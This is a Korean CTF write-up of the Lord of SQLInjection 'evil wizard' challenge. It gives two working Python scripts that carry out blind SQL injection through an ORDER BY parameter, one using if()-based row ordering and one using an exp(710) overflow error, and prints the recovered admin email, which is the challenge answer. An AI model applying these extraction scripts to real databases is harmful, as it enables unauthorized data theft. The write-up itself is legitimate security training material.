LOS(Lord of SQLInjection) - 24번 evil wizard

Analysis

우선 이번에는 sleep을 사용하지 못하기 때문에 단순히 score 기준으로 오름차순 내림차순 정렬을 하는 방법으로 조건을 걸어서 해볼 수 있지 않을까? 생각해봤다.

그래서 아래와 같이 조건문으로 email의 길이를 구하기 위해서 반환하는 값에 따라서 테이블이 조회되는 행의 순서가 다르게 나오는 것을 확인할 수 있었다. 근데 4번째 컬럼 기준으로 정렬이 되는거일텐데,, 그래도 출력이 되더라..

Solution

그래서 우선 테이블에 나오는 순서가 다르기 때문에 f12(관리자 모드)로 보았을 때, 테이블에서 admin이 먼저 나올때 보여지는 태그 순서가 다르다

한마디로 조건이 참일때admin 이 나오고 참이 아니면admin 즉 rubiya 위치에 있을거라는 것..

이를 이용해서 길이와 email을 모두 구할 수 있다고 생각했다.

아래는 exploit code이다

import requests

url = "https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php"

PHPSESSID = "각자 세션 넣기"

email = ""

# for email length

email_len = 0

while True:
    email_len += 1
    payload = "?order=if(id = 'admin' and length(email) < " + str(email_len) + ", 1, 4)"
    res = requests.get(url=url + payload, cookies=(dict(PHPSESSID=PHPSESSID)))
    if "</th><tr><td>admin" in res.text:
        break
print("Email length: " + str(email_len-1))

# length : 30

# for email
for i in range(1, 31):
    for idx in range(46, 128):
        payload = (
            "?order=if(id='admin' and (ascii(substr(email, "
            + str(i)
            + ", 1)) = "
            + str(idx)
            + "), 1, 4)"
        )
        res = requests.get(url=url + payload, cookies=(dict(PHPSESSID=PHPSESSID)))
        if "</th><tr><td>admin" in res.text:
            email += chr(idx)
            print(email)
            break
print("Email: " + email)
# Email: aasup3r_secure_email@emai1.com

결과는 아래와 같이 나온다.



다른 방법도 있을까 찾아봤고,, order by 뒤에 바로 ()를 사용해서 injection을 시도할 수 있다는 것이었는데 자세한 내용은 아래의 블로그를 참고했다. (정말 좋은 포스팅인듯..)

https://n3015m.tistory.com/173

그래서 이를 이용해서,, exp(710) 오류를 통한 테이블 조회가 되고 안되고를 이용해서 email을 알아내는 방법이 있다.

  1. where 29=(이메일 길이) → 다를 때, 테이블 조회 가능

  1. where 30=(이메일 길이) → 같기 때문에 error 반환 → 조회 불가능

해당 방법은 최신 mysql 버전에서는 안될가능성이 높다. LOS는 내가 예상하기에는 mysql version이 최신 버전이 아니기 때문에 가능한 것으로 보인다. 해당 내용은 추후에 확증이 생기면 따로 정리하겠다. (정리하면 -> 링크 달겠습니다.)

 

해당 방법으로 성공한 exploit code는 아래와 같다.

import requests

url = "https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php"

PHPSESSID = "각자 세션 넣기"

email = ""

# for email length

email_len = 0

while True:
    email_len += 1
    payload = (
        "?order=(select exp(710) where {i}=(select length(email) where id='admin'))"
    ).format(i=email_len)
    res = requests.get(url=url + payload, cookies=(dict(PHPSESSID=PHPSESSID)))
    if "rubiya" not in res.text:
        break
print("Email length: " + str(email_len))

# length : 30

# for email
for i in range(1, 31):
    for idx in range(46, 128):
        payload = (
            "?order=(select exp(710) where {target}=(select ascii(substr(email, {target_idx}, 1)) where id='admin'))"
        ).format(target=idx, target_idx=i)
        res = requests.get(url=url + payload, cookies=(dict(PHPSESSID=PHPSESSID)))
        if "rubiya" not in res.text:
            email += chr(idx)
            print(email)
            break

print("Email: " + email)